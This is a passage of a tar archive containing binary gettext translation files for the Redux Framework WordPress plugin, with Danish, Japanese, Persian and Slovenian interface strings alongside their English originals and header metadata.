stránke.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-da_DK.mo��������������������������������������������������0000644�����������������00000011611�14720701300�0016245 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������T��������q���\������ �����!�����4�����Q�����X�����_�����c�� ���z���������������������� ����������������������� �����*�����2�� ���9�� ���E�����O�����f�����n�� ���v������������ ����� ����� ����� ���������������������������������������� ������������� ����� ����� ����� �� ��� �����+ �����< �����C �� ���H �� ���R �����` �� ���f �����s ����� ����� ����� ����� ����� �� ��� �� ��� ��.��� ����� ����� ����� ����� ����� ��(��� �����7 �����> �����C �����L �� ���T �����_ �����g �����} ����� �� ��� ����� �� ��� ��;��� ����� ����� ����� ��,���: ��j��g ����������������� ����������'�����!���@�����b�����x������������ ���������� ������������������������� ��������� ������� ���1�����;�����A�����P�����X�� ���^�� ���i�����t�� ���������� ������������������������������ �������������������� ����� ����� �������������#�����)�� ���.�����;�� ���K�����V�����e��������������������������� ����� �����1������������������� ������������-��������E�����L�� ���S�����^�� ���f�����q�����x������� ����� ���������� �����A��������2�����9�����B��,���\�����A�������������������/���5���O���'���4���<���"��� ���������������*����������#����������3������P�����������6������$������=���������)���@����������(�����������L�������:���%�������S���F���?���H���J��� �������&���8������I������,������ ���9������-�������1���C���7���Q��� �������������K�������E���R���������������M����������T���!���������;���G����������.���N���2���B�������������������+������ ����������>���D��� ������0������������Activate Demo Mode�Activate Development Plugins�Active�Add %s�All�All Defaults Restored!�Automatic action performed: "%s"�Background Attachment�Background Position�Background Repeat�Bottom�Changelog�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Developer Mode Enabled�Disable�Dismiss�Email address�Enable�Expand�Extensions�Font Family�Font Size�Font family�From �Height�Hints�Import�Left�Name�New %s�Newsletter�No media selected�Off�On�Options�Password�Please Wait�Redux Extensions�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Settings Imported!�Settings Saved!�Size�Status�Style�Support�System Info�Team Redux�The unknown action has been replaced with "%s"�Theme�Title�To �Top�URL�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Welcome to Redux Framework�Welcome to Redux Framework %s�What's New�Width�Working...�You do not have sufficient permissions to access this page.�clicking�donation�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Danish (Denmark) (http://www.transifex.com/projects/p/redux-framework/language/da_DK/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: da_DK Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Aktiver Demofunktion�Aktiver Udvikling Plugins�Aktive�Tilføj %s�Alle�Alle standardindstillinger Restaureret!�Automatisk handling udført: "%s"�Baggrundsvedhæftning�Baggrundsplacering�Gentag baggrund�Bund�Ændringslog�Luk�Krediteringer�Deaktiver Demofunktion�Deaktiver Udvikling Plugins�Standard�Slet�Beskrivelse�Udvikler�Udvikler Tilstand Aktiveret�Deaktiver�Afvis�E-mail Adresse�Aktiver�Udvid�Udvidelser�Skrifttype�Skriftstørrelse�Fontfamilie�Fra�Højde�Tips�Importer�Venstre�Navn�Ny %s�Nyhedsbrev�Ingen medier er valgt�Fra�På�Indstillinger�Adgangskode�Vent Venligst�Redux Udvidelser�Fjern�Repo�Nulstil Alle�Nulstil Sektion�Højre�Gem ændringer�Indstillinger Importeret!�Indstillinger gemt!�Størrelse�Status�Style�Support�System info�Team Redux�Den ukendte handling er blevet erstattet med "%s"�Tema�Titel�Til�Top�URL�Ukendte handling "%1$s" specificeret for %2$s�Upload�Bruger�Brugernavn�Version�Version %s�Vis %s�Besøg plugin-websted�Velkommen til Redux Framework�Velkommen til Redux Framework %s�Hvad er nyt�Bredde�Arbejder...�Du har ikke tilstrækkelige rettigheder til at se denne side.�klikke�donation�http://reduxframework.com�http://wordpress.org/plugins/redux-framework������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-ja.mo�����������������������������������������������������0000644�����������������00000036714�14720701300�0015710 0����������������������������������������������������������������������������������������������������ustar�00���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� �����������������������������������������������������5���#��D���Y��4����� ������������� ����������,�����@�����R�����b�� ���u������� ����� �����.����������������������������������� ���!�� ���-�����7�����N�����V�����^�� ���t����������������� ����� ����� ����� ����� ����� ���������� ����� ����� ����� ��� �� ���+�����8�� ���>�����I�����Y�����i�����p����������T�����Z�������U��������Z�����a�����q�������]�����X��������G�����L�� ���[�� ���g��2���s������������ �����!������������������������������� ��������0�� ���9�����E�����V�����f��%����������W�������������������� ���"�� ���,�����:�� ���@�����M�����h�����w�������,�����(����������������������� ������� ��������!�����)�� ���1�� ���=�� ���H�����S�����c�����r��'����������.����������3�����'���&�� ���N�����o�����u�����y�� ���}������������(������������������������� ��������������������U��� ��F���`����������������� ��������� �� ����� �����;���)��F���e��E�����K�����b���>��L�����3�����-���"��/���P��a�����`��������C�����L�����U�����j��J����������,�����,��� �����> �����T �����f ��U��} �����#��*���#�����$�� ���!$�����.$��!���>$�����`$��0���g$�����$��T���$��l��� %��T���v%��%���%�����%�����&�����&�����-&�����=&�����S&��$���f&�����&�����&�� ���&�����&��f���&�� ���5'�����?'�����O'��*���k'�����'�����'�����'�� ���'�����'�� ���'�����'�����'�����(�����,(�����3(�����:(�� ���S(�� ���`(�����j(�����z(�����(�� ���(�����(�� ���(�� ���(�����(�����(����� )�����")�����')�����=)�����P)�����g)��6���n)��c��)�� ��� +�����+�� ���+��v���+�����7,��$���G,�����l,�����,�����,��o���2-�����-�����-�����-�� ���-��P���-�����'.�� ���..�����;.��<���Q.��*���.�����.�����.�����.�����.��K���.�����</��$���L/�����q/�����/�����/��=���/�����/����� 0�����0�����0�����0�����0�����0�����0������1��9���1�����P1��*���f1�����1��N���1��E���1�� ���E2�� ���O2�����\2�����o2�� ���2�����2�����2�� ���2�����2�����2�����2�� ���2�����2������3��(���3������4��B���4�� ���5��`���5��3���}5��0���5�� ���5�����5�����5�����5�����5�����6��:���6�����C6�� ���V6�����c6�����s6�����6�� ���6��-���6�����6��{���6��r���U7�� ���7��"���7��&��� 8�� ���38�����@8�����D8�� ���T8��Z���_8��<���8��<���8��t���49��~���9��i���(:��?���:��E���:��W���;��Z���p;��Z���;�� ���&<�����3<��"���:<�����]<��m���|<�����<��,���=��1���1=�����c=�����|=��0���=���������������������������������z���J���!������v������������U���g����������t����������W���]���j��������������@�������������~������������������������0���c���C���������������������������$���{����������M���R���Y���P���}���;���3���l���x�������_�����������������I������ �������<�������,���.���B���������5���A���������������������������������r�������%�������X���L���e���w���F������'���D���p�����������9���G��� �������T���\���E���������h���V���H�������|����������:�������������`���Z�������7����������������Q���)�������^��������������m������o���>���&���i�������������a������ ������n�����������b������K����������+���"���y������k����������4�����������������������������������?������2���S���������u�������������=�������-�������������� ���8������6������q�������������d����������N���*�������[��� ���1�����������O���s��� ������������������������f���#���(������������/�������Activate Demo Mode�Activate Development Plugins�Active�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Developer Mode Enabled�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Front Page�Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.�Hover�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�Password�Please Wait�Redux Extensions�Redux Framework�Redux Framework Changelog�Redux Framework has an embedded demo.�Redux Generator�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Regular�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Team Redux�Text Align�Text Decoration�Text Transform�The following directories & files are still located in your <strong>Redux</strong> directory. They may cause errors in Theme-Check.�The people that develop Redux Framework�The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�Title�To �Top�Transparent�URL�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Japanese (http://www.transifex.com/projects/p/redux-framework/language/ja/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: ja Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �デモモードを有効化�開発プラグインを有効化します�有効�%s を追加�さらに追加�ギャラリーを追加 / 編集�全て�すべてデフォルトに復元しました。�トラッキングを許可�本当にリセットしますか?すべての値を失うことになります。�本当にリセットしますか?このセクションのすべての値を失うことになります。�本当にリセットしますか?すべての値を失うことになります。�自動アクションが実行:"%s"�背景スクロール�背景クリップ�背景オリジン�背景の位置�背景の繰り返し�背景のサイズ�文字の種類をバックアップ�枠線のスタイル�下�更新履歴�ギャラリーをクリア�サンプルの設定ファイルを有効にするには、ここをクリックしてください。�閉じる�クレジット�デモモードを無効化�開発プラグインを無効化します�デフォルト�削除�説明�開発者�開発者モードを有効化�無効化�非表示にする�トラッキングを拒否�メールアドレス�有効�拡大�エクスポート設定�機能拡張�文字色�文字の種類�文字サイズ�フォントのサブセット�Font Variant�文字の太さ�文字色�フォント�文字スクリプト�文字のスタイル�文字のサブセット�From�フロントページ�始めてみよう�Google Webフォント�高さ�私たちのパネルの改善にご協力ください�現在のオプション設定をダウンロード/コピーすることができます。何か誤操作をした場合、バックアップとして使用することができます。これは安全を守るため、もしくはこのサイト(または任意の他のサイト)で設定を復元するために使用することができます。�ヒント�Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.�ホバー�もしあなたが Redux の動向を追いたいのであれば、ニュースレターを購読してください。�インポート�インポート / エクスポート�インポート設定�URLからインポート�そのサイトからオプションをロードするインポートオプションを設定し、別のサイトへのURLを入力してヒット。�あなたのサイトの設定を復元するためには、インポートをクリックしてください。�左�字間�Redux が好きですか?�行の高さ�「plugins_loaded」アクションの後に呼び出す必要があります。�名称�新しい %s�ニュースレター�一致するアイテムは見つかりませんでした。�メディアが選択されていません�無効�有効�オプション�設定オブジェクト�オプションパネルは %1$s を使用して作成されています。�パスワード�しばらくお待ちください...�Reduxの拡張機能�Redux Framework�Redux Framework の変更履歴�Redux Framework には、デモが内蔵されています。�Redux ジェネレータ�Reduxのは、WordPressのテーマやプラグインのためのシンプルな、真拡張可能なオプションフレームワークです。�レギュラー�削除�レポジトリ�すべてリセット�セクションをリセット�右�変更を保存する�セクションをデフォルトに復元しました。�アイテムを選択�設定がインポートされました。�設定を保存しました。�設定に変更があります。保存することをおすすめします。�JavaScript コンソール でオブジェクトを見て下さい。�サイズ�スライド�標準フォント�ステータス�スタイル�購読�サブセット�サポート�システム情報�チーム Redux�文字の配置�文字装飾�文字の変形�以下のディレクトリ·ファイルがまだあなたの<strong> Reduxの</ strong>のディレクトリに格納されています。テーマ·チェックでエラーが発生することがあります。�Redux Framework を開発する人たち�あなたがテストしているテーマは、%sが埋め込まれています。いくつかの警告を理解するために%sテーマ·チェック用ドキュメント%sを読むことを勧めます�不明なアクションは "%s" に置き換えられました。�テーマ�このフィールドは空にすることはできません。値を入力してください。�有効な色の値でなければなりません。�有効な日付である必要があります。�タイトル�To�上�透明�URL�単位�不明なアクション: %2$s に指定された "%1$s" �アップロード�ユーザー�ユーザー名�バージョン�バージョン %s�ビュー %s�プラグインのホームページを表示�Visited�警告!これは、すべての既存のオプション値が上書きされます、注意して行ってください。�警告 - このオプションパネルは JavaScript が無効になっていると正常に動作しません!� Redux Framework へようこそ�Redux Framework %s へようこそ�Reduxのデモパネルへようこそ�新着情報�幅�単語の間隔�Working...�このページにアクセスするための十分なアクセス権がありません。�変更が保存されていません。保存しますか?�変更が保存されていません。保存しますか?�このフィールドにはHTMLを入力してはなりません。すべてのHTMLタグが削除されました。�このフィールド内の特殊文字を入力してはなりません。すべての特殊文字が削除されました。�このオプションの数値をカンマで区切ったリストを提供する必要があります。�オプションの数値を指定する必要があります。�オプションに有効なURLを指定する必要があります。�オプションに有効なメールアドレスを提供する必要があります。�現在の設定は、プリセット値に置き換えられます。続行しますか?�現在の設定は、プリセット値に置き換えられます。続行しますか?�クリック�寄付�エラー が見つかりました�拡張機能ディレクトリ�適切な読み取り/書き込み権限を設定するか、下記にFTP情報を入力してください。�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�WordPress.orgで私たちにレビューを残す�マウスを移動する�ドキュメンテーション�(複数の)警告が見つかりました!�����������������������������������������������������redux-framework/languages/redux-framework-fa_IR.mo��������������������������������������������������0000644�����������������00000031153�14720701300�0016266 0����������������������������������������������������������������������������������������������������ustar�00���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� ������ ����� ����� ����� ����� �����' �����0 �����A �����E �����\ ��5���k ��D��� ��4��� ����������1�����A�����S�����g�����y������� ��������������� ����� ����������������������������������� ���!�� ���-�����7�����N�����V�����^�� ���t������������ ����� ����� ����� ����� ����� ���������� ����� ����� ����� ����� ��������)�����/�����?�����O�����V�����m�����s�����y�����������������]�����X��� �����f�����k�� ���z������������ �����!����������������������������������� ���������������������������������������� ����� ���������� ��������#�����2�����E��,���U��(������������������������������ ��������������� ����� ����� ������������������-��3���3��'���g�� �������������������� ����������������������������������� ��������������������F���"�����i������������ ���������� ����� �����;�����F���'��E���n��K�����b������L���c��3�����-�����/��������B�����K�����T��J���i�������,������������������#��a��:��3�����<�������� ������� ���-��&���N�����u��#���|�������f�����y�����f�������������������6�����O�����n�������4���������� ����� ���� ����� �����# �����> �����G ��:���X ��C��� ����� ����� ����� ����� ��'���!�����=!�����W!��%���^!�����!�����!�����!�����!�����!�����!�����!��#��� "�����/"�����C"�����a"�����q"�����"�����"��#���"�����"�����"�����"�� ��� #��"���#�����<#�� ���E#�����P#��"���d#�� ���#�����#�����#�����|$�����7%�����<%�����P%�����b%�� ���t%�����%��7���%��'���%�� ���%�����%�����&�����&�����,&�����;&�����T&�����&��4���&�����3'�����M'�����V'�����]'��'���f'��'���'�����'�����'��#���'��!���'��#���(��]���C(��7���(�� ���(�� ���(��"���(�� ���)�����!)�� ���()�����5)�����N)�����_)�� ���y)�����)�����)�����)�� ���)��[���)��D���%*��H���j*�� ���*�����*�����*�����*�� ���*�����*�����*�����*�����+�����"+�� ���++�����7+��%���I+�����o+��r���+��1���+��5���(,��<���^,�����,�����,�����,�� ���,��X���,��w���7-��w���-��}���'.�����.�����=/��X���/��X���-0��[���0�����0�����0��7��� 1��~���E1�����1��,���1����� 2����� 2��,���>2��������A����������r���U���m���g�������t���������������1��� �����������K���:���D������/��������������Q���;���J������� ���)�������]���B���������X����������"������ ���6�������=���������\������|������?���#����������������������������$�������n���!��������������+���R���k���_���[���`�����������~������V�������7�������������������������������������������������c����������s���h�������������� ���e���b���4����������'�������p����������o���%������a���W����������>�����������������E���T���(���������<���@���M���w���3������{���-���f������Y����������.���&�������������� ���u���}����������C��� ���O�������8���H������������������x���^���P�������j����������F��������������*���G������2�������v�������y���q���d����������������L���5���i������,����������z������0���S�����������Z������9����������I������N�������l����Activate Demo Mode�Activate Development Plugins�Active�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Changelog�Clear Gallery�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Developer Mode Enabled�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Getting Started�Google Webfonts�Height�Help improve Our Panel�Hints�Hover�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Line Height�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Password�Please Wait�Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.�Redux Framework�Redux Framework Changelog�Redux Generator�Regular�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Team Redux�Text Align�Text Decoration�Text Transform�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�Title�To �Top�Transparent�URL�Units�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�clicking�donation�error(s) were found!�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Persian (Iran) (http://www.transifex.com/projects/p/redux-framework/language/fa_IR/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: fa_IR Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �فعال کردن حالت نسخه ی نمایشی�فعال کردن افزونه های در حال توسعه�فعال�اضافه کردن %s�افزودن ادامه مطلب�افزودن / ویرایش گالری�همه�پیشفرض ها بازگشتند!�اجازه ردیابی�آیا مطمئن هستید ؟ تمام مقادیر وارد شده از بین خواهند رفت.�آیا مطمئن هستید ؟ تمام مقادیر وارد شده در این بخش از بین خواهند رفت.�آیا مطمئن هستید ؟ تمام مقادیر وارد شده از بین خواهند رفت.�پیوست پس‌زمینه�فیلم پس زمینه�منبع پس زمینه�موقعیت پس‌زمینه�تکرار پس‌زمینه�اندازه پس زمینه�پشتیبان گیری از خانواده فونت�استایل حاشیه�پایین�مرورگر�ثبت تغییرات�پاک کردن گالری�بستن�سازندگان�غیر فعال کردن حالت نسخه ی نمایشی�غیر فعال کردن افزونه های در حال توسعه�پیش‌فرض�حذف�توضیحات�توسعه‌دهنده�حالت برنامه نویس فعال�غیرفعال‌سازی�لغو�اجازه ردیابی نمی دهم�آدرس ایمیل�فعال�بازگشایی همه�افزونه‌ها�رنگ فونت�خانواده فونت�اندازه فونت�زیر مجموعه های فونت�متغیر فونت�عرض فونت & سبک�رنگ فونت�خانواده فونت�اسکریپت فونت�سبک فونت�زیر مجموعه های فونت�از�شروع کنید�وب فونت های گوگلی�ارتفاع�کمک به بهبود پنل ما�نکات�شناور�درون‌آوری�درون ریزی/ برون بری�تنظیمات درون ریزی�درون ریزی از آدرس�آدرس بک آپ را در این قسمت وارد کنید و با زدن دکمه درون ریزی تنظیمات سایت را از آدرس بک آپ بازگردانید.�فایل بک آپ خود را در این قسمت وارد کنید و با زدن دکمه درون ریزی تنظیمات سایت را از فایل بک آپ بازگردانید.�چپ�فاصله حروف�ارتفاع خط�نام پیوند�جدید %s�خبرنامه�هیچ موردی در این باره پیدا نشد.�هیچ فایلی انتخاب نشده�خاموش�روشن�تنظیمات�تنظیمات اشیاء�رمزعبور�لطفا صبر کنید�برای بهبود پنل به ما کمک کنید تا بتوانیم آزمایشاتی در سیستم های مختلف تست کنیم�فریم ورک ردوکس�گزارش تغییرات فریم ورک ردوکس�ژنراتور ردوکس�منظم�حذف�مخزن�بازگردانی پیش فرض همه�بازگردانی پیش فرض بخش�راست�ذخیره تغییرات�یک ایتم انتخاب کنید�تنظیمات وارد شدند!�تنظیمات ذخیره شدند!�تنظیمات تغییر کرده اند ، شما باید آنها را ذخیر کنید!�نمایش شی در جاوا اسکریپت آبجکت�اندازه�اسلاید�فونت های استاندارد�وضعیت�سبک�اشتراک�زیر مجموعه ها�پشتیبانی�اطلاعات سیستم�تیم Redux�تراز متن�تزئینات متن�تبدیل متن�پوسته�این فیلد نمی تواند خالی باشد لطفا یک مقدار پر کنید.�مقدار رنگ باید در این فیلد گذاشته شود.�این فیلد باید دارای یک تاریخ معتبر باشد.�عنوان�به�بالا�شفاف�نشانی�واحد�بارگذاری�نام کاربری�نام کاربری�نسخه�نسخه %s�مشاهده %1$s�نمایش خانه‌ی افزونه�مشاهده شده�اخطار ، تنظیمات این بخش بدون جاوااسکریپت به درستی کار نمیکنند .�به فریم ورک ردوکس خوش آمدید�به چهارچوب ریداکس خوش آمدید %s�به پنل Redux نسخه ی نمایشی خوش آمدید�تازگی چه خبر؟�پهنا�فاصله کلمات�کار ...�شما مجوز کافی برای دسترسی به‌این برگه را ندارید.�شما تغییرات ذخیره نشده ای دارید. آیا می خواهید آنها را ذخیره کنید؟�شما تغییرات ذخیره نشده ای دارید. آیا می خواهید آنها را ذخیره کنید؟�شما نباید کدهای HTML را در این فیلد وارد کنید، همه تگ های HTML حذف شده اند.�شما نباید کاراکترهای ویژه را در این فیلد وارد کنید . همه ی کاراکتر های ویژه پاک شدند.�شما باید یک لیست که مقادیر عددی با کاما جدا شده باشند را برای این گزینه فراهم کنید .�شما باید یک مقدار عددی برای این گزینه فراهم کنید.�شما باید یک آدرس معتبر برای این گزینه فراهم کنید.�شما باید یک ایمیل معتبر برای این گزینه فراهم کنید .�کلیک کردن�کمک کردن مالی�هیچ موردی در این باره پیدا نشد.�دارای مجوز خواندن / نوشتن مناسب و یا اطلاعات FTP خود را در زیر وارد کنید.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�حرکت موس بر�اسناد و مدارک ما�اخطار(هایی) پیدا شده اند!����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-sl_SI.mo��������������������������������������������������0000644�����������������00000010704�14720701300�0016316 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������J������l��e���������P�����Q�����d�����k�����t�����x��4������������������������������ �����.��������H�����N�����S�����[�����p�����x�� ��������������� ���������� �������������������� ����� ����� �����������������������������#�����*�����:�����I�����N�����R�����U�����]�����l�� ���u�������%�������������������� ����� ���������� ������������� ����� �� ��� �� ���% �����0 �����6 �����: �����> �����B �����H �����O �� ���X �����c �����k ��;���q ��E��� ����� ����� ���� ����� �� ��� �� ��� ����� ����� ��B��� �����5�����E�����U�����j�����{�������?���������������������������������������� ���������� ���%�����3�� ���:�����G�����P�� ���Y�����g�� ���n�����{��������������������������� ����� ���������� ����� ���������� ������������������ ��!��������=�����M�� ���V�����b�����r������������������������������������������������������������������������� ��������'�����0��)���8��C���b���������������&���G������������������"������;�������������!����������1���<��� ���@���7�������������>�������6���H���$���%���������J���D���C���0���3���I���'����������)��������������(�������B���*���9�������=���A�������:������8��� ���4��� ����������F���-���#���.��������������E�������+������������� ������ ������������������������������5�����������,���?�����������2������ ���/������������������Activate Demo Mode�Active�Add More�All�Allow tracking�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Position�Background Repeat�Background Size�Bottom�Changelog�Click here to activate the sample config file.�Close�Copy�Credits�Deactivate Demo Mode�Default�Delete�Description�Disable�Dismiss�Documentation�Download�Email address�Enable�Expand�Export Options�Font Family�Font color�Font family�From �Getting Started�Height�Hints�Import�Import / Export�Import Options�Left�Off�On�Options�Options Object�Password�Please Wait�Redux Framework�Redux Framework has an embedded demo.�Redux Generator�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Settings Saved!�Size�Style�System Info�Text Align�Title�To �Top�URL�Units�Upload�Username�Version %s�Visited�Width�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�donation�error(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-02-03 22:24:22+00:00 PO-Revision-Date: 2015-03-10 15:34+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Slovenian (Slovenia) (http://www.transifex.com/projects/p/redux-framework/language/sl_SI/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: sl_SI Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || n%100==4 ? 2 : 3); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Vklopite demo način�Aktiviraj�Dodaj več�Vse�Dovoli sledenje�Ali ste prepričani? Z resetom boste izgubili vse custom vrednosti�Priponka 